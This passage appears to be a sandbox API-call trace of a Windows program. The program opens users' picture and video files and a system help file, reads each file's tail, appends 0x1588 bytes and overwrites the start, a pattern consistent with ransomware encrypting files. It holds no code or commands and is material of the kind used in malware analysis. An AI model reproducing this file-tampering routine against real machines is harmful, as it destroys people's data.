nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.795] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x530e [0053.795] WriteFile (in: hFile=0x12c, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.795] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.795] WriteFile (in: hFile=0x12c, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.795] CloseHandle (hObject=0x12c) returned 1 [0053.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8Q2Kq4k2V- AfO9.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8q2kq4k2v- afo9.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.795] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.795] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xd73d [0053.795] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.795] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.795] ReleaseMutex (hMutex=0x128) returned 1 [0053.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8Q2Kq4k2V- AfO9.gif", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0053.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8Q2Kq4k2V- AfO9.gif", cchWideChar=19, lpMultiByteStr=0x1e78bcc, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8Q2Kq4k2V- AfO9.gif", lpUsedDefaultChar=0x0) returned 19 [0053.796] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0053.796] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xc73d [0053.796] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.796] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xc73d [0053.797] WriteFile (in: hFile=0x12c, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.797] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.797] WriteFile (in: hFile=0x12c, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0053.797] CloseHandle (hObject=0x12c) returned 1 [0053.797] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jEE_z.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jee_z.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.797] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.797] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1063b [0053.797] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.797] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.797] ReleaseMutex (hMutex=0x128) returned 1 [0053.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jEE_z.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jEE_z.png", cchWideChar=9, lpMultiByteStr=0x1e6340c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jEE_z.png", lpUsedDefaultChar=0x0) returned 9 [0053.798] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0053.798] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xf63b [0053.798] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.798] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xf63b [0053.799] WriteFile (in: hFile=0x12c, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.799] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.799] WriteFile (in: hFile=0x12c, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0053.799] CloseHandle (hObject=0x12c) returned 1 [0053.799] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Q6fI2gVzfIR5Z.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q6fi2gvzfir5z.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.799] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.799] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6861 [0053.799] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.799] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.799] ReleaseMutex (hMutex=0x128) returned 1 [0053.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Q6fI2gVzfIR5Z.gif", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0053.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Q6fI2gVzfIR5Z.gif", cchWideChar=17, lpMultiByteStr=0x1e78bcc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Q6fI2gVzfIR5Z.gif", lpUsedDefaultChar=0x0) returned 17 [0053.799] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.800] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5861 [0053.800] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.800] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5861 [0053.800] WriteFile (in: hFile=0x12c, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.801] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.801] WriteFile (in: hFile=0x12c, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.801] CloseHandle (hObject=0x12c) returned 1 [0053.801] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\is3epnMFG6jAZqBO.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\is3epnmfg6jazqbo.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.801] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.801] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x737 [0053.801] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.801] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.801] ReleaseMutex (hMutex=0x128) returned 1 [0053.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="is3epnMFG6jAZqBO.flv", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0053.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="is3epnMFG6jAZqBO.flv", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="is3epnMFG6jAZqBO.flv", lpUsedDefaultChar=0x0) returned 20 [0053.801] ReadFile (in: hFile=0x12c, lpBuffer=0x1de83c8, nNumberOfBytesToRead=0x737, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de83c8*, lpNumberOfBytesRead=0x2b0f2bc*=0x737, lpOverlapped=0x0) returned 1 [0053.802] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.802] WriteFile (in: hFile=0x12c, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0xcbf, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f2d0*=0xcbf, lpOverlapped=0x0) returned 1 [0053.802] CloseHandle (hObject=0x12c) returned 1 [0053.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\FjSlDeXav31ApLm.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\fjsldexav31aplm.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.803] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.803] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x38ee [0053.803] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.803] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.803] ReleaseMutex (hMutex=0x128) returned 1 [0053.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FjSlDeXav31ApLm.avi", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0053.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FjSlDeXav31ApLm.avi", cchWideChar=19, lpMultiByteStr=0x1e78bcc, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FjSlDeXav31ApLm.avi", lpUsedDefaultChar=0x0) returned 19 [0053.803] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.094] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x28ee [0054.094] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.094] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x28ee [0054.095] WriteFile (in: hFile=0x12c, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.095] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0054.095] WriteFile (in: hFile=0x12c, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0054.095] CloseHandle (hObject=0x12c) returned 1 [0054.095] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\7fvxf_9254Zwrw9C.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\7fvxf_9254zwrw9c.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0054.095] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0054.095] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x61b7 [0054.095] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0054.095] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.095] ReleaseMutex (hMutex=0x128) returned 1 [0054.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7fvxf_9254Zwrw9C.avi", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0054.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7fvxf_9254Zwrw9C.avi", cchWideChar=20, lpMultiByteStr=0x1e786cc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7fvxf_9254Zwrw9C.avi", lpUsedDefaultChar=0x0) returned 20 [0054.096] ReadFile (in: hFile=0x12c, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.096] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x51b7 [0054.096] ReadFile (in: hFile=0x12c, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.096] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x51b7 [0054.097] WriteFile (in: hFile=0x12c, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.097] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0054.097] WriteFile (in: hFile=0x12c, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0054.097] CloseHandle (hObject=0x12c) returned 1 [0054.097] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\wnFG.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\wnfg.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0054.097] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0054.097] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x167ec [0054.097] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0054.097] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.097] ReleaseMutex (hMutex=0x128) returned 1 [0054.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wnFG.swf", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0054.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wnFG.swf", cchWideChar=8, lpMultiByteStr=0x1e633ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wnFG.swf", lpUsedDefaultChar=0x0) returned 8 [0054.098] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0054.098] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x157ec [0054.098] ReadFile (in: hFile=0x12c, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.098] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x157ec [0054.099] WriteFile (in: hFile=0x12c, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.099] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0054.099] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0054.099] CloseHandle (hObject=0x12c) returned 1 [0054.099] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.058] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.058] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x365fc [0055.058] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0055.058] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.058] ReleaseMutex (hMutex=0x128) returned 1 [0055.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Help_MKWD_AssetId.H1W", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0055.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Help_MKWD_AssetId.H1W", cchWideChar=21, lpMultiByteStr=0x1e786cc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Help_MKWD_AssetId.H1W", lpUsedDefaultChar=0x0) returned 21 [0055.058] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, 